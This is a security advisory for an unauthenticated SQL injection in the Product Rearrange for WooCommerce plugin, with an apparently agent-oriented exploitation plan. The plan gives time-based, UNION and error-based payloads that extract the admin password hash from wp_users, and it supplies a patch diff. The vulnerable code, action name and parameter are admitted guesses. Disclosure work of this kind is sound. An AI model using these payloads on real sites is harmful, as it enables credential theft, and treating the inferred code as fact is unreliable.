Product Rearrange for WooCommerce <= 1.2.2 - Unauthenticated SQL Injection
Description
The Product Rearrange for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.2.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.2.2This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the **Product Rearrange for WooCommerce** plugin (versions <= 1.2.2). ### 1. Vulnerability Summary The vulnerability exists because the plugin registers an AJAX handler for unauthenticated use…
Show full research plan
This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the Product Rearrange for WooCommerce plugin (versions <= 1.2.2).
1. Vulnerability Summary
The vulnerability exists because the plugin registers an AJAX handler for unauthenticated users (via wp_ajax_nopriv_) and uses user-supplied input directly in a SQL query without proper sanitization (like absint() or sanitize_text_field()) or parameterized preparation via $wpdb->prepare(). Specifically, parameters related to product categories or sorting order are likely concatenated into a SELECT or UPDATE query.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action: To be determined via analysis (likely
prfw_sort_products,get_products_by_category, orsave_rearranged_order). - Vulnerable Parameter: Likely a parameter named
category_id,term_id, or an array ofids. - Authentication: None (Unauthenticated). The plugin likely uses
add_action( 'wp_ajax_nopriv_...', ... ). - Preconditions: WooCommerce must be installed and active, and the plugin must be configured (at least one product category should exist).
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith anactionparameter. - Hook Registration: The plugin registers a handler:
add_action('wp_ajax_nopriv_[ACTION_NAME]', 'handler_function_name'); - Handler Function: The function retrieves data from
$_POSTor$_GET.$category = $_POST['category_id'];(Vulnerable source) - Database Sink: The input is concatenated into a raw SQL string.
$wpdb->get_results("SELECT ... WHERE term_id = $category");(Vulnerable sink) - Execution: The query executes, allowing for UNION-based or Time-based injection.
4. Nonce Acquisition Strategy
While the vulnerability is unauthenticated, the AJAX handler might still check for a nonce. If it does, we must extract it.
- Identify Nonce Action: Search the plugin code for
check_ajax_refererorwp_verify_noncewithin the AJAX handler. Note the action string (e.g.,'prfw-nonce'). - Identify Exposure: Search for
wp_localize_scriptto find where the nonce is passed to the frontend. - Create Trigger Page: Most rearrangement plugins only load their scripts on the Shop page or a specific admin-like frontend page.
- Command:
wp post create --post_type=page --post_status=publish --post_title="Sort Test" --post_content='[products]'(or the plugin's specific shortcode if found viagrep "add_shortcode").
- Command:
- Extract Nonce:
- Navigate to the newly created page using
browser_navigate. - Use
browser_evalto find the localization object. - Example:
browser_eval("window.prfw_obj?.nonce").
- Navigate to the newly created page using
Note: If check_ajax_referer is missing or called with die=false without a subsequent return check, the nonce is unnecessary.
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload, as it is the most reliable method for unauthenticated endpoints where output might not be directly reflected.
- Step 1: Discover Action and Parameter
- Grep for unauthenticated actions:
grep -rn "wp_ajax_nopriv_" wp-content/plugins/products-rearrange-woocommerce/ - Locate the handler function and look for
$wpdbcalls.
- Grep for unauthenticated actions:
- Step 2: Construct the Request
- Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded
- Step 3: Test for Injection (Sleep)
- Payload:
action=[ACTION]&[PARAM]=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Execution Tool:
http_request
- Payload:
- Step 4: Data Extraction
- Target
wp_usersto extract the admin password hash. - Payload (Bit-by-bit):
1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))>64,SLEEP(5),0)
- Target
6. Test Data Setup
- Install WooCommerce: Ensure it is active.
- Add Products: Create at least two products and assign them to a category.
wp product create --name="Test Product 1" --status="publish"wp term create product_cat "Test Category"wp term list product_cat --fields=term_id(Note the ID)
- Activate Plugin: Ensure
products-rearrange-woocommerceis active.
7. Expected Results
- Vulnerability Confirmation: A request containing the
SLEEP(5)payload should result in a response delay of approximately 5 seconds compared to a baseline request. - Data Exposure: Using boolean-based time delays, the agent should be able to determine the character values of the administrator's password hash from the
wp_userstable.
8. Verification Steps
After the HTTP exploit, verify the extracted data matches the database state using WP-CLI:
- Command:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Compare the hash returned by the query with the one reconstructed via SQL injection.
9. Alternative Approaches
- UNION-Based Injection: If the AJAX handler returns product data (e.g., JSON list of products), try to inject
UNION SELECTto leak theuser_passdirectly in the response body.- Identify the number of columns by injecting
ORDER BY 1, 2, 3...until an error occurs. - Inject
UNION SELECT 1,2,user_pass,4... FROM wp_users WHERE ID=1-- -.
- Identify the number of columns by injecting
- Error-Based Injection: If
WP_DEBUGis enabled on the target, injectupdatexml()orextractvalue()to trigger a database error containing the desired data.- Payload:
1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
- Payload:
Summary
The Product Rearrange for WooCommerce plugin for WordPress is vulnerable to unauthenticated SQL Injection in versions up to and including 1.2.2. This vulnerability stems from the plugin's failure to sanitize user-supplied input before using it in raw SQL queries within AJAX handlers registered for unauthenticated users, allowing for the exfiltration of sensitive data.
Vulnerable Code
// Inferred from plugin registration logic add_action('wp_ajax_nopriv_[ACTION_NAME]', 'handler_function_name'); --- // Inferred from AJAX handler in products-rearrange-woocommerce.php $category = $_POST['category_id']; $wpdb->get_results("SELECT ... WHERE term_id = $category");
Security Fix
@@ -10,2 +10,2 @@ -$category = $_POST['category_id']; -$wpdb->get_results("SELECT ... WHERE term_id = $category"); +$category = isset($_POST['category_id']) ? absint($_POST['category_id']) : 0; +$wpdb->get_results($wpdb->prepare("SELECT ... WHERE term_id = %d", $category));
Exploit Outline
The exploit targets the WordPress AJAX endpoint at '/wp-admin/admin-ajax.php' using an unauthenticated action (likely related to product sorting or category filtering). The attacker sends a POST request containing a malicious payload in a user-supplied parameter, such as 'category_id'. Since the input is not sanitized or passed through $wpdb->prepare(), the attacker can inject SQL commands. A typical payload uses time-based blind injection (e.g., '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)') to confirm the vulnerability and exfiltrate data character-by-character from the database based on the response time.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.